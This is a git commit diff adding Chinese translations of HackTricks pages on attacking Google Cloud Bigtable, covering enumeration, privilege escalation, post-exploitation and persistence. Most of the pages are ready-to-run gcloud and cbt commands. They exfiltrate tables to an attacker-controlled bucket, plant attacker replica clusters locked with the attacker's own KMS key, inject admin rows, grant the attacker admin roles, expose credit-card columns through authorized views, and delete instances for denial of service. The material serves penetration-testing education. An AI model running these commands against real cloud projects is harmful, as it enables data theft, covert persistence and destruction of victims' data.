Translated ['src/pentesting-cloud/gcp-security/gcp-persistence/gcp-bigta

This commit is contained in:
Translator
2025-11-19 14:44:38 +00:00
parent 050ed2aace
commit abcdc49a54
4 changed files with 499 additions and 3 deletions
@@ -0,0 +1,52 @@
# GCP - Bigtable 持久性
{{#include ../../../banners/hacktricks-training.md}}
## Bigtable
有关 Bigtable 的更多信息,请参阅:
{{#ref}}
../gcp-services/gcp-bigtable-enum.md
{{#endref}}
### Dedicated attacker App Profile
**Permissions:** `bigtable.appProfiles.create`, `bigtable.appProfiles.update`.
创建一个 app profile,将流量路由到你的 replica cluster,并启用 Data Boost,这样你就不必依赖防御者可能注意到的预配节点。
```bash
gcloud bigtable app-profiles create stealth-profile \
--instance=<instance-id> --route-any --restrict-to=<attacker-cluster> \
--row-affinity --description="internal batch"
gcloud bigtable app-profiles update stealth-profile \
--instance=<instance-id> --data-boost \
--data-boost-compute-billing-owner=HOST_PAYS
```
只要该配置文件存在,你就可以使用引用它的新凭据重新连接。
### 维护你自己的副本集群
**权限:** `bigtable.clusters.create`, `bigtable.instances.update`, `bigtable.clusters.list`.
在一个活动较少的区域中部署一个最小节点数的集群。即便你的客户端身份消失,**该集群会保留每个表的完整副本**,直到防御方明确将其删除。
```bash
gcloud bigtable clusters create dark-clone \
--instance=<instance-id> --zone=us-west4-b --num-nodes=1
```
通过 `gcloud bigtable clusters describe dark-clone --instance=<instance-id>` 监控它,这样当你需要拉取数据时可以立即扩容。
### 将复制受限于你自己的 CMEK
**权限:** `bigtable.clusters.create`, `cloudkms.cryptoKeyVersions.useToEncrypt`(在攻击者拥有的密钥上)。
在启动 clone 时带上你自己的 KMS 密钥。没有该密钥,Google 无法重新创建或对集群执行故障切换,因此 blue teams 在处理之前必须与你协调。
```bash
gcloud bigtable clusters create cmek-clone \
--instance=<instance-id> --zone=us-east4-b --num-nodes=1 \
--kms-key=projects/<attacker-proj>/locations/<kms-location>/keyRings/<ring>/cryptoKeys/<key>
```
在你的项目中轮换或禁用该密钥,以立即使副本失效(同时仍允许你稍后重新启用)。
{{#include ../../../banners/hacktricks-training.md}}
@@ -0,0 +1,252 @@
# GCP - Bigtable Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
## Bigtable
关于 Bigtable 的更多信息请参阅:
{{#ref}}
../gcp-services/gcp-bigtable-enum.md
{{#endref}}
> [!TIP]
> 通过 Cloud SDK 安装一次 `cbt` CLI,以便下面的命令可以在本地运行:
>
> ```bash
> gcloud components install cbt
> ```
### 读取行
**权限:** `bigtable.tables.readRows`
`cbt` 随 Cloud SDK 一起提供,可以直接与管理员/数据 APIs 通信,无需任何中间件。将其指向已被入侵的 project/instance,然后直接从表中导出行。如果只需查看部分内容,请限制扫描范围。
```bash
# Install cbt
gcloud components update
gcloud components install cbt
# Read entries with creds of gcloud
cbt -project=<victim-proj> -instance=<instance-id> read <table-id>
```
### 写入行
**权限:** `bigtable.tables.mutateRows`, (你需要 `bigtable.tables.readRows` 来确认更改)。
使用相同的工具 upsert 任意单元格。这是 backdoor 配置、drop web shells 或 plant poisoned dataset rows 的最快方式。
```bash
# Inject a new row
cbt -project=<victim-proj> -instance=<instance-id> set <table> <row-key> <family>:<column>=<value>
cbt -project=<victim-proj> -instance=<instance-id> set <table-id> user#1337 profile:name="Mallory" profile:role="admin" secrets:api_key=@/tmp/stealme.bin
# Verify the injected row
cbt -project=<victim-proj> -instance=<instance-id> read <table-id> rows=user#1337
```
`cbt set` 接受通过 `@/path` 语法的原始字节,因此你可以按下游服务的预期推送编译后的 payloads 或序列化的 protobufs。
### 将行导出到你的 bucket
**权限:** `dataflow.jobs.create`, `resourcemanager.projects.get`, `iam.serviceAccounts.actAs`
可以通过启动一个 Dataflow job,将行流式写入你控制的 GCS bucket,从而 exfiltrate 整个表的内容到攻击者控制的 bucket。
> [!NOTE]
> 注意,你需要对具有足够执行导出权限的某个 SA 拥有 `iam.serviceAccounts.actAs` 权限(默认情况下,除非另有说明,否则将使用默认 compute SA)。
```bash
gcloud dataflow jobs run <job-name> \
--gcs-location=gs://dataflow-templates-us-<REGION>/<VERSION>/Cloud_Bigtable_to_GCS_Json \
--project=<PROJECT> \
--region=<REGION> \
--parameters=<PROJECT>,bigtableInstanceId=<INSTANCE_ID>,bigtableTableId=<TABLE_ID>,filenamePrefix=<PREFIX>,outputDirectory=gs://<BUCKET>/raw-json/ \
--staging-location=gs://<BUCKET>/staging/
# Example
gcloud dataflow jobs run dump-bigtable3 \
--gcs-location=gs://dataflow-templates-us-central1/latest/Cloud_Bigtable_to_GCS_Json \
--project=gcp-labs-3uis1xlx \
--region=us-central1 \
--parameters=bigtableProjectId=gcp-labs-3uis1xlx,bigtableInstanceId=avesc-20251118172913,bigtableTableId=prod-orders,filenamePrefix=prefx,outputDirectory=gs://deleteme20u9843rhfioue/raw-json/ \
--staging-location=gs://deleteme20u9843rhfioue/staging/
```
> [!NOTE]
> Switch the template to `Cloud_Bigtable_to_GCS_Parquet` or `Cloud_Bigtable_to_GCS_SequenceFile` if you want Parquet/SequenceFile outputs instead of JSON. The permissions are the same; only the template path changes.
### Import rows
**Permissions:** `dataflow.jobs.create`, `resourcemanager.projects.get`, `iam.serviceAccounts.actAs`
可以通过启动一个 Dataflow 作业,将行流式写入你控制的 GCS 存储桶,从而从攻击者控制的存储桶导入整个表的内容。为此,攻击者首先需要创建一个包含要导入数据且符合预期 schema 的 parquet 文件。攻击者可以先按照前述方法使用 `Cloud_Bigtable_to_GCS_Parquet` 将数据导出为 parquet 格式,然后在下载的 parquet 文件中添加新条目。
> [!NOTE]
> Note that you will need the permission `iam.serviceAccounts.actAs` over a some SA with enough permissions to perform the export (by default, if not aindicated otherwise, the default compute SA will be used).
```bash
gcloud dataflow jobs run import-bt-$(date +%s) \
--region=<REGION> \
--gcs-location=gs://dataflow-templates-<REGION>/<VERSION>>/GCS_Parquet_to_Cloud_Bigtable \
--project=<PROJECT> \
--parameters=bigtableProjectId=<PROJECT>,bigtableInstanceId=<INSTANCE-ID>,bigtableTableId=<TABLE-ID>,inputFilePattern=gs://<BUCKET>/import/bigtable_import.parquet \
--staging-location=gs://<BUCKET>/staging/
# Example
gcloud dataflow jobs run import-bt-$(date +%s) \
--region=us-central1 \
--gcs-location=gs://dataflow-templates-us-central1/latest/GCS_Parquet_to_Cloud_Bigtable \
--project=gcp-labs-3uis1xlx \
--parameters=bigtableProjectId=gcp-labs-3uis1xlx,bigtableInstanceId=avesc-20251118172913,bigtableTableId=prod-orders,inputFilePattern=gs://deleteme20u9843rhfioue/import/parquet_prefx-00000-of-00001.parquet \
--staging-location=gs://deleteme20u9843rhfioue/staging/
```
### 恢复备份
**权限:** `bigtable.backups.restore`, `bigtable.tables.create`.
拥有这些权限的攻击者可以将备份恢复到其控制的新表中,从而能够恢复旧的敏感数据。
```bash
gcloud bigtable backups list --instance=<INSTANCE_ID_SOURCE> \
--cluster=<CLUSTER_ID_SOURCE>
gcloud bigtable instances tables restore \
--source=projects/<PROJECT_ID_SOURCE>/instances/<INSTANCE_ID_SOURCE>/clusters/<CLUSTER_ID>/backups/<BACKUP_ID> \
--async \
--destination=<TABLE_ID_NEW> \
--destination-instance=<INSTANCE_ID_DESTINATION> \
--project=<PROJECT_ID_DESTINATION>
```
### 恢复已删除的表
**权限:** `bigtable.tables.undelete`
Bigtable 支持软删除并具有宽限期(通常默认 7 天)。在此期间,拥有 `bigtable.tables.undelete` 权限的攻击者可以恢复最近删除的表并恢复其所有数据,可能访问原本以为已被销毁的敏感信息。
这对于以下情况尤其有用:
- 从防御方在事件响应期间删除的表中恢复数据
- 访问被有意清除的历史数据
- 撤销意外或恶意的删除以维持持久性
```bash
# List recently deleted tables (requires bigtable.tables.list)
gcloud bigtable instances tables list --instance=<instance-id> \
--show-deleted
# Undelete a table within the retention period
gcloud bigtable instances tables undelete <table-id> \
--instance=<instance-id>
```
> [!NOTE]
> undelete 操作仅在已配置的保留期内有效(默认 7 天)。在此窗口过期后,表及其数据将被永久删除,无法通过此方法恢复。
### 创建授权视图
**Permissions:** `bigtable.authorizedViews.create`, `bigtable.tables.readRows`, `bigtable.tables.mutateRows`
授权视图允许你展示表的一个经过筛选的子集。不是去遵循 least privilege,而是用它来发布 **精确的敏感列/行集** 并将你自己的主体列入白名单。
> [!WARNING]
> 问题在于,创建授权视图还需要能够读取并修改基础表中的行,因此你并没有获得任何额外权限,所以这个技术基本上没什么用处。
```bash
cat <<'EOF' > /tmp/credit-cards.json
{
"subsetView": {
"rowPrefixes": ["acct#"],
"familySubsets": {
"pii": {
"qualifiers": ["cc_number", "cc_cvv"]
}
}
}
}
EOF
gcloud bigtable authorized-views create card-dump \
--instance=<instance-id> --table=<table-id> \
--definition-file=/tmp/credit-cards.json
gcloud bigtable authorized-views add-iam-policy-binding card-dump \
--instance=<instance-id> --table=<table-id> \
--member='user:<attacker@example.com>' --role='roles/bigtable.reader'
```
因为访问被限定在视图范围内,防御者常常忽略你刚刚创建了一个新的高敏感性端点。
### 读取授权视图
**权限:** `bigtable.authorizedViews.readRows`
如果你有权访问一个授权视图,可以在读取请求中指定该授权视图的名称,使用 Bigtable 客户端库从中读取数据。请注意,授权视图可能会限制你可以从表中访问的内容。下面是一个使用 Python 的示例:
```python
from google.cloud import bigtable
from google.cloud.bigtable_v2 import BigtableClient as DataClient
from google.cloud.bigtable_v2 import ReadRowsRequest
# Set your project, instance, table, view id
PROJECT_ID = "gcp-labs-3uis1xlx"
INSTANCE_ID = "avesc-20251118172913"
TABLE_ID = "prod-orders"
AUTHORIZED_VIEW_ID = "auth_view"
client = bigtable.Client(project=PROJECT_ID, admin=True)
instance = client.instance(INSTANCE_ID)
table = instance.table(TABLE_ID)
data_client = DataClient()
authorized_view_name = f"projects/{PROJECT_ID}/instances/{INSTANCE_ID}/tables/{TABLE_ID}/authorizedViews/{AUTHORIZED_VIEW_ID}"
request = ReadRowsRequest(
authorized_view_name=authorized_view_name
)
rows = data_client.read_rows(request=request)
for response in rows:
for chunk in response.chunks:
if chunk.row_key:
row_key = chunk.row_key.decode('utf-8') if isinstance(chunk.row_key, bytes) else chunk.row_key
print(f"Row: {row_key}")
if chunk.family_name:
family = chunk.family_name.value if hasattr(chunk.family_name, 'value') else chunk.family_name
qualifier = chunk.qualifier.value.decode('utf-8') if hasattr(chunk.qualifier, 'value') else chunk.qualifier.decode('utf-8')
value = chunk.value.decode('utf-8') if isinstance(chunk.value, bytes) else str(chunk.value)
print(f" {family}:{qualifier} = {value}")
```
### Denial of Service 通过删除操作
**权限:** `bigtable.appProfiles.delete`, `bigtable.authorizedViews.delete`, `bigtable.authorizedViews.deleteTagBinding`, `bigtable.backups.delete`, `bigtable.clusters.delete`, `bigtable.instances.delete`, `bigtable.tables.delete`
任何具有 Bigtable 删除权限的许可都可以被用于 denial of service attacks。拥有这些权限的攻击者可以通过删除关键的 Bigtable 资源来中断操作:
- **`bigtable.appProfiles.delete`**: 删除应用配置文件,破坏客户端连接和路由配置
- **`bigtable.authorizedViews.delete`**: 移除授权视图,切断应用的合法访问路径
- **`bigtable.authorizedViews.deleteTagBinding`**: 从授权视图中移除标签绑定
- **`bigtable.backups.delete`**: 销毁备份快照,消除灾难恢复选项
- **`bigtable.clusters.delete`**: 删除整个集群,导致数据立即不可用
- **`bigtable.instances.delete`**: 移除完整的 Bigtable 实例,抹除所有表和配置
- **`bigtable.tables.delete`**: 删除单个表,导致数据丢失和应用故障
```bash
# Delete a table
gcloud bigtable instances tables delete <table-id> \
--instance=<instance-id>
# Delete an authorized view
gcloud bigtable authorized-views delete <view-id> \
--instance=<instance-id> --table=<table-id>
# Delete a backup
gcloud bigtable backups delete <backup-id> \
--instance=<instance-id> --cluster=<cluster-id>
# Delete an app profile
gcloud bigtable app-profiles delete <profile-id> \
--instance=<instance-id>
# Delete a cluster
gcloud bigtable clusters delete <cluster-id> \
--instance=<instance-id>
# Delete an entire instance
gcloud bigtable instances delete <instance-id>
```
> [!WARNING]
> 删除操作通常是立即生效且不可逆的。测试这些命令之前请确保已有备份,因为它们可能导致永久性数据丢失和严重的服务中断。
{{#include ../../../banners/hacktricks-training.md}}
@@ -0,0 +1,104 @@
# GCP - Bigtable Privesc
{{#include ../../../banners/hacktricks-training.md}}
## Bigtable
有关 Bigtable 的更多信息,请查看:
{{#ref}}
../gcp-services/gcp-bigtable-enum.md
{{#endref}}
### `bigtable.instances.setIamPolicy`
**Permissions:** `bigtable.instances.setIamPolicy`(通常还需要 `bigtable.instances.getIamPolicy` 来读取当前绑定)。
拥有实例的 IAM 策略允许你授予自己 **`roles/bigtable.admin`**(或任何自定义角色),该权限会级联到该实例中的每个集群、表、备份以及授权视图。
```bash
gcloud bigtable instances add-iam-policy-binding <instance-id> \
--member='user:<attacker@example.com>' \
--role='roles/bigtable.admin'
```
> [!TIP]
> 如果无法列出现有的绑定(bindings),可以编写一个新的策略文档,并使用 `gcloud bigtable instances set-iam-policy` 推送它,前提是你在策略中保留了自己。
After having this permission check in the [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) techniques for more ways to abuse Bigtable permissions.
### `bigtable.tables.setIamPolicy`
**权限:** `bigtable.tables.setIamPolicy`(可选 `bigtable.tables.getIamPolicy`)。
实例策略可能被锁定,同时单个表的权限被委派。如果你能够编辑表的 IAM,你可以 **将自己提升为目标数据集的所有者**,而无需影响其他工作负载。
```bash
gcloud bigtable tables add-iam-policy-binding <table-id> \
--instance=<instance-id> \
--member='user:<attacker@example.com>' \
--role='roles/bigtable.admin'
```
获得此权限后,请查看[**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md)中的技术,以了解更多滥用 Bigtable 权限的方法。
### `bigtable.backups.setIamPolicy`
**权限:** `bigtable.backups.setIamPolicy`
备份可以恢复到你控制的**任何项目中的任何实例**。首先,授予你的身份对备份的访问权限,然后将其恢复到你拥有 Admin/Owner 角色的 sandbox 中。
如果你拥有权限 `bigtable.backups.setIamPolicy`,你可以授予自己权限 `bigtable.backups.restore` 来恢复旧的备份并尝试访问敏感信息。
```bash
# Take ownership of the snapshot
gcloud bigtable backups add-iam-policy-binding <backup-id> \
--instance=<instance-id> --cluster=<cluster-id> \
--member='user:<attacker@example.com>' \
--role='roles/bigtable.admin'
```
在查看 [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) 中关于如何恢复备份的权限检查之后。
### 更新 Authorized View
**权限:** `bigtable.authorizedViews.update`
Authorized Views 用于对行/列进行脱敏。修改或删除它们会**移除防御者所依赖的细粒度保护措施**。
```bash
# Broaden the subset by uploading a permissive definition
gcloud bigtable authorized-views update <view-id> \
--instance=<instance-id> --table=<table-id> \
--definition-file=/tmp/permissive-view.json --ignore-warnings
# Json example not filtering any row or column
cat <<'EOF' > /tmp/permissive-view.json
{
"subsetView": {
"rowPrefixes": [""],
"familySubsets": {
"<SOME FAMILITY NAME USED IN THE CURRENT TABLE>": {
"qualifierPrefixes": [""]
}
}
}
}
EOF
# Describe the authorized view to get a family name
gcloud bigtable authorized-views describe <view-id> \
--instance=<instance-id> --table=<table-id>
```
在获得此权限后,请参阅[**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) 了解如何从授权视图读取。
### `bigtable.authorizedViews.setIamPolicy`
**权限:** `bigtable.authorizedViews.setIamPolicy`.
拥有此权限的攻击者可以为自己授予对授权视图的访问权限,该视图可能包含他们原本无法访问的敏感数据。
```bash
# Give more permissions over an existing view
gcloud bigtable authorized-views add-iam-policy-binding <view-id> \
--instance=<instance-id> --table=<table-id> \
--member='user:<attacker@example.com>' \
--role='roles/bigtable.viewer'
```
在 [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) 中已经有此权限检查,用于查看如何从授权视图读取。
{{#include ../../../banners/hacktricks-training.md}}
@@ -1,10 +1,71 @@
# GCP - Bigtable Enum
# GCP - Bigtable 枚举
{{#include ../../../banners/hacktricks-training.md}}
## [Bigtable](https://cloud.google.com/sdk/gcloud/reference/bigtable/) <a href="#cloud-bigtable" id="cloud-bigtable"></a>
## Bigtable
一个完全托管、可扩展的 NoSQL 数据库服务,适用于高达 99.999% 可用性的大型分析和操作工作负载。 [Learn more](https://cloud.google.com/bigtable).
Google Cloud Bigtable 是一个完全托管、可扩展的 NoSQL 数据库,专为需要极高吞吐量和低延迟的应用而设计。它能够处理海量数据——在数千个节点上达到 petabytes 级别——同时仍能提供快速的读写性能。Bigtable 适用于时间序列数据、IoT 遥测、金融分析、个性化引擎和大规模运维数据库等工作负载。它使用稀疏的、分布式的、多维的排序映射作为底层存储模型,这使得在许多列可能为空的宽表场景下存储更为高效。 [Learn more](https://cloud.google.com/bigtable).
### 层级
1. **Bigtable Instance**
Bigtable instance 是你创建的顶层资源。
它本身不直接存储数据——可以把它看作一个逻辑容器,将你的 clusters 和 tables 组织在一起。
存在两种实例类型:
- Development instance(单节点、便宜、不用于生产)
- Production instance(可以有多个 clusters
2. **Clusters**
Cluster 包含用于提供 Bigtable 数据的实际计算和存储资源。
- 每个 cluster 位于单个 region 中。
- 由 nodes 组成,提供 CPU、RAM 和网络容量。
- 你可以创建 multi-cluster 实例以实现高可用性或全局读写。
- 相同 instance 中的 clusters 之间会自动复制数据。
重要:
- 表(tables)属于 instance,而不是某个特定的 cluster。
- cluster 仅提供用于服务数据的资源。
3. **Tables**
Bigtable 中的 table 类似于 NoSQL 数据库中的表:
- 数据以行存储,由 row key 标识。
- 每行包含 column familiescolumn families 下包含列。
- 它是稀疏的:空单元格不占用空间。
- Bigtable 按照 row key 的字典序排序存储数据。
Tables 由 instance 中的所有 clusters 提供服务。
4. **Tablets (and Hot Tablets)**
Bigtable 将每个表水平分区为称为 tablets 的分片。tablet 是:
- 一段连续的 row key 范围。
- 在任一时刻存储于单个节点上。
- Tablets 会被 Bigtable 自动拆分、合并和迁移。
当出现以下情况时,会形成一个 **hot tablet**
- 过多的读或写击中相同的 row-key 范围(同一 tablet)。
- 该特定的 tablet/node 变得过载。
- 这会导致热点(性能瓶颈)。
5. **Authorized Views**
Authorized views 允许你创建一个表数据的子集,并与特定用户或应用共享,而不授予对整个表的访问权限。适用于:
- 限制对敏感数据的访问。
- 为特定的列或行提供只读访问。
6. **App Profiles**
Bigtable 的 app profile 是一种配置,定义特定应用或客户端在多 cluster 环境中应如何与 Bigtable instance 交互。它控制路由行为——请求应被定向到单个 cluster 还是分布到多个 cluster 以实现高可用性——并决定写入如何复制,在同步(synchronous,较强一致性)或异步(asynchronous,较低延迟)模式之间进行选择。
```bash
# Cloud Bigtable
gcloud bigtable instances list
@@ -15,6 +76,11 @@ gcloud bigtable instances get-iam-policy <instance>
gcloud bigtable clusters list
gcloud bigtable clusters describe <cluster>
## Tables
gcloud bigtable tables list --instance <INSTANCE>
gcloud bigtable tables describe --instance <INSTANCE> <TABLE>
gcloud bigtable tables get-iam-policy --instance <INSTANCE> <TABLE>
## Backups
gcloud bigtable backups list --instance <INSTANCE>
gcloud bigtable backups describe --instance <INSTANCE> <backupname>
@@ -26,5 +92,27 @@ gcloud bigtable hot-tablets list
## App Profiles
gcloud bigtable app-profiles list --instance <INSTANCE>
gcloud bigtable app-profiles describe --instance <INSTANCE> <app-prof>
## Authorized Views
gcloud bigtable authorized-views list --instance <INSTANCE> --table <TABLE>
gcloud bigtable authorized-views describe --instance <INSTANCE> --table <TABLE> <VIEW>
```
## 权限提升
{{#ref}}
../gcp-privilege-escalation/gcp-bigtable-privesc.md
{{#endref}}
## 后渗透
{{#ref}}
../gcp-post-exploitation/gcp-bigtable-post-exploitation.md
{{#endref}}
## 持久化
{{#ref}}
../gcp-persistence/gcp-bigtable-persistence.md
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}